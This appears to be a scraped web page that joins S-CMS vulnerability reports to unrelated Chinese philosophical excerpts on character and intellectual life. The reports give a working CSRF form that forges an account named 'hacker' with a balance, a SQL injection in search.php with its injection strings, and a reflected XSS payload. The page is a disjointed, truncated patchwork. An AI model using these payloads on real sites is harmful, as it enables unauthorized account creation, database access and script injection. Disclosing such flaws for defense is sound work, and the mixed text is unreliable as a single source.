Download page: https://shanlingtest.oss-cn-shenzhen.aliyuncs.com/file/2.mall.php.zip CSRF Exp: <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html" charset="utf-8" /> </head> <body> <center><h1>fake request</center> <div> <form action="http://127.0.0.1/S-CMS/admin/ajax.php?type=member&action=add&lang=0" name="form" method="post" role="form"> <input type="hidden" name="M_login" value="hacker"> <input type="hidden" name="M_pwd" value="hacker"> <input type="hidden" name="M_money" value="10000"> <input type="hidden" name="M_fen" value="0"> <input type="hidden" name="M_name" value="1"> <inpu...
Posts
Download page: https://shanlingtest.oss-cn-shenzhen.aliyuncs.com/file/2.mall.php.zip location: S-CMS/search.php line 155 Vulnerable code: $sql="select * from SL_text where (T_title like '%". $keyword ."%' or T_content like '%". $keyword ."%' ) order by T_id desc"; Exp: %' AND 1=1 AND '%'=' %' AND 1=2 AND '%'=' Attacker can add sql statement in the between of both "and" to query the database.
Download page: https://shanlingtest.oss-cn-shenzhen.aliyuncs.com/file/2.mall.php.zip location: S-CMS/search.php line144 Vulnerable code: <input type="text" name="keyword" class="form-control" placeholder="<?php echo lang("输入关键词/l/Input your Keywords")?>" value="<?php echo $keyword?>"> Exp: "><script>(1)</script>
精神卓越的人，首要关注的是精神上的生活，随着他们对事物的洞察和认识，持续地加深和增长，他们的生活获得了一种整体的统一:精神生活的境界稳步提升而变得完整，美满，就像一件逐步变得完美的艺术品，与这种精神生活相比，那种纯粹以追求个人自身安逸为目标的实际生活，则显得可悲，这种生活增加的只是长度，而不是深度，正如我已经说过的，这种现实生活对于大众就是目的，但对于精神卓越者而言，那只是手段而已。 ------------------------------------------------------------------------------------ 一个天生筋骨强壮，长得像大势力神似的人，如果外在情势所迫，需要从事某种做这个职业，去做一些精细繁琐的手艺活，或者从事学习研究和其他脑力工作，这些工作需要他运用先天不足的能力，而他那出色的身体力量就无从发挥，要是出现这种情况，那几个人终其一生都会感到郁郁不得志，但如果一个人虽然有异常突出的智力，但其智力却无从得到锻炼和发挥，从事的是一种根本发挥不了他的智力的平庸工作，或者这工作，干脆就是他力不能及的力气活，那么这个人遭遇的不幸，比起第一个人则有过之而无不及，所以我们必须避免过高估计自己的能力，尤其在我们年少气盛的时候，这可是我们生活中的暗礁。 ------------------------------------------------------------------------------------ 我们唯一能够做到的，就是尽可能充分地利用我们既定的个性，因此我们应该循着符合我们个性的方向，努力争取，和个性的发展，之外，一概避免，所以我们必须选择与我们个性相配的地位，职业和生活方式。 ------------------------------------------------------------------------------------ 如果有一些荒谬颠倒的见解出现在公众的面前，又或者荒诞虚假的东西写进了文字作品，并且受到了大众的欢迎，或者至少没有遭到任何诘难，驳斥，我们都不应该就此感到绝望，认为事情会就此结束。相反，我们应该知道这一事实并以此安慰自己:在将来，人们会逐渐重新澄清、讨论、思考、审视这些观点或作品。在大多数情况下，人们最终会做出正确的判断。所以，经过一段时间以...